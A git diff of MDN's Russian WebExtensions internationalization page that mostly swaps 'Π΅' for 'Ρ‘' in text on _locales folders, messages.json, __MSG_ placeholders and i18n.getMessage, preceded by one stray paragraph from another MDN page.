<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ это, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ страницу Π² MDN, которая содСрТит ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor), ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ WebExtension ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу MDN :</p>
diff --git a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html
index e5367909ad..ce3323d169 100644
--- a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html
@@ -69,9 +69,9 @@ original_slug: Mozilla/Add-ons/WebExtensions/Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†Π
<div class="moreinfo">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ тэг языка ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ инструмСнта <em>Find</em> Β Π½Π° <a href="https://r12a.github.io/app-subtags/">страницС опрСдСлСния языковых Ρ‚Π΅Π³ΠΎΠ²</a>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ поискС Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ английскоС Π½Π°Π·Π²Π°Π½ΠΈΠ΅ языка</div>
</div>
-<p>КаТдая систСма i18n Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ строки Π²ΠΎ всСх локализациях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ. Π’ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΡ…Β ΠΎΠ½ΠΈ хранятся Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΒ Β <code>_locales</code>, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½ΠΎΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ (Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ сообщСниями) хранятся Π² Ρ„Π°ΠΉΠ»Π΅Β <code>messages.json</code>, находящСмся Π² ΠΏΠΎΠ΄Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΒ <code>_locales</code>, Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ - Ρ‚Π΅Π³ языка Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
+<p>КаТдая систСма i18n Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ строки Π²ΠΎ всСх локализациях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ. Π’ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΡ…Β ΠΎΠ½ΠΈ хранятся Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΒ Β <code>_locales</code>, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½ΠΎΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ. Π‘Ρ‚Ρ€ΠΎΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ (Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ сообщСниями) хранятся Π² Ρ„Π°ΠΉΠ»Π΅Β <code>messages.json</code>, находящСмся Π² ΠΏΠΎΠ΄Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΒ <code>_locales</code>, Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ - Ρ‚Π΅Π³ языка Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
-<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ссли Ρ‚Π΅Π³ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΈ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ язык, ΠΈ Π΅Π³ΠΎ Ρ€Π΅Π³ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, Ρ‚ΠΎ ΠΏΠΎ ΠΊΠΎΠ½Π²Π΅Π½Ρ†ΠΈΠΈ эти язык ΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ дСфисом: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β "en-US". Однако Π² поддирСкториях <code>_locales</code>, <strong>вмСсто дСфиса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</strong>: "en_US".</p>
+<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ссли Ρ‚Π΅Π³ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΈ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ язык, ΠΈ Π΅Π³ΠΎ Ρ€Π΅Π³ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, Ρ‚ΠΎ ΠΏΠΎ ΠΊΠΎΠ½Π²Π΅Π½Ρ†ΠΈΠΈ эти язык ΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ дСфисом: Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β "en-US". Однако Π² поддирСкториях <code>_locales</code>, <strong>вмСсто дСфиса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</strong>: "en_US".</p>
<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n/_locales">Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</a> ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈΒ "en" (английский), "de" (Π½Π΅ΠΌΠ΅Ρ†ΠΊΠΈΠΉ), "nl" (голландский), and "ja" (японский). Π’Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… находится Ρ„Π°ΠΉΠ»Β <code>messages.json</code> .</p>
@@ -126,21 +126,21 @@ original_slug: Mozilla/Add-ons/WebExtensions/Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†Π
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ сообщСния, зависящиС ΠΎΡ‚ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° Π½Π΅ просто статичСскиС строки.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ строку сообщСния, Π΅Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ строку сообщСния, Π΅Ρ‘ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ol>
- <li>Π”Π²Π° подчСркивания</li>
+ <li>Π”Π²Π° подчёркивания</li>
<li>Π‘Ρ‚Ρ€ΠΎΠΊΠ° "MSG"</li>
- <li>Одно ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</li>
+ <li>Одно ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅</li>
<li>Имя сообщСния Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π²Β <code>messages.json</code></li>
- <li>Π”Π²Π° подчСркивания</li>
+ <li>Π”Π²Π° подчёркивания</li>
</ol>
<pre class="notranslate"><strong>__MSG_</strong> + <em>messageName</em> + <strong>__</strong></pre>
<h3 id="Локализация_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ">Локализация ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</h3>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅. ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² manifest.jsonΒ β€” это <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅. ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π² manifest.jsonΒ β€” это <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p>
<pre class="brush: json notranslate">"default_locale": "en"</pre>
@@ -154,7 +154,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†Π
background-image: url(../images/__MSG_extensionName__/header.png);
}</pre>
-<p>Π­Ρ‚ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, для этих Ρ†Π΅Π»Π΅ΠΉ стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ {{anch("Π—Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сообщСния")}}.</p>
+<p>Π­Ρ‚ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, для этих Ρ†Π΅Π»Π΅ΠΉ стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ {{anch("Π—Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сообщСния")}}.</p>
<h2 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_сообщСний_ΠΈΠ·_JavaScript">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ сообщСний ΠΈΠ·Β JavaScript</h2>
@@ -163,7 +163,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Π˜Π½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†Π
<ul>
<li>Π‘ΠΊΠΎΡ€Π΅Π΅ всСго, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ часто Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{WebExtAPIRef("i18n.getMessage()")}} β€” этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ сообщСния. ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π΅Π³ΠΎ использования ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½ΠΈΠΆΠ΅.</li>
<li>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{WebExtAPIRef("i18n.getAcceptLanguages()")}} ΠΈ {{WebExtAPIRef("i18n.getUILanguage()")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ссли UI Π½Π°Π΄ΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π² зависимости ΠΎΡ‚ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ прСдпочтСния, свойствСнныС носитСлям ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ языка, Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ Π²Ρ‹ΡˆΠ΅ Π² спискС, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚ соотвСтствовал Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li>
- <li>ΠœΠ΅Ρ‚ΠΎΠ΄ {{WebExtAPIRef("i18n.detectLanguage()")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния языка ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ Π΅Π΅ форматирования.</li>
+ <li>ΠœΠ΅Ρ‚ΠΎΠ΄ {{WebExtAPIRef("i18n.detectLanguage()")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния языка ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ Π΅Ρ‘ форматирования.</li>
</ul>
<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a>Β , <a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/background-script.js">Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ скрипт</a> содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки:</p>
@@ -185,7 +185,7 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre>
}
</pre>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>"placeholders"</code>  опрСдСляСт всС Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ ΠΈ Ρ‚ΠΎ, ΠΎΡ‚ΠΊΡƒΠ΄Π° ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ. Π—Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΒ <code>"url"</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ информация ΠΎ Π½Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ Π²Β $1Β β€”Β ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β <code>getMessage()</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ называСтся <code>"url"</code>,Β Β <code>$URL$</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ сообщСния (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ для заполнитСля <code>"name"</code>Β Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>$NAME$</code>, ΠΈ Ρ‚. Π΄.). Если Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ значСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»Π΅ΠΉ, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β {{WebExtAPIRef("i18n.getMessage()")}} Π² Π²ΠΈΠ΄Π΅ массива — массив <code>[a, b, c]</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ значСния <code>$1</code>, <code>$2</code>Β ΠΈΒ <code>$3</code>, ΠΈ Ρ‚. Π΄. Π²Π½ΡƒΡ‚Ρ€ΡŒΒ <code>messages.json</code>.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>"placeholders"</code>  опрСдСляСт всС Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ ΠΈ Ρ‚ΠΎ, ΠΎΡ‚ΠΊΡƒΠ΄Π° ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ. Π—Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΒ <code>"url"</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ информация ΠΎ Π½Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ Π²Β $1Β β€”Β ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β <code>getMessage()</code>. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ называСтся <code>"url"</code>,Β Β <code>$URL$</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π΅Π³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ сообщСния (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ для заполнитСля <code>"name"</code>Β Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>$NAME$</code>, ΠΈ Ρ‚. Π΄.). Если Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ значСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»Π΅ΠΉ, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β {{WebExtAPIRef("i18n.getMessage()")}} Π² Π²ΠΈΠ΄Π΅ массива — массив <code>[a, b, c]</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ значСния <code>$1</code>, <code>$2</code>Β ΠΈΒ <code>$3</code>, ΠΈ Ρ‚. Π΄. Π²Π½ΡƒΡ‚Ρ€ΡŒΒ <code>messages.json</code>.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€: ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΒ ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅Β <code>notificationContent</code>Β Π² Ρ„Π°ΠΉΠ»Π΅Β <code>en/messages.json</code>Β Ρ‚Π°ΠΊΠΎΠ΅:</p>
@@ -220,13 +220,13 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre>
}
}</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ сами Π·Π°Π΄Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ заполнитСля, Π° Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π΅Π³ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊΒ <code>$1</code>. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли сообщСниС ΠΎΡ‡Π΅Π½ΡŒ слоТноС, ΠΈ Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ значСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ строки Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌΠΈ. К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, доступ ΠΊ этим значСниям ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ сами Π·Π°Π΄Π°Ρ‘ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ заполнитСля, Π° Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π΅Π³ΠΎ ΠΈΠ· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊΒ <code>$1</code>. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли сообщСниС ΠΎΡ‡Π΅Π½ΡŒ слоТноС, ΠΈ Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ значСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ строки Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹ΠΌΠΈ. К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, доступ ΠΊ этим значСниям ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹.</p>
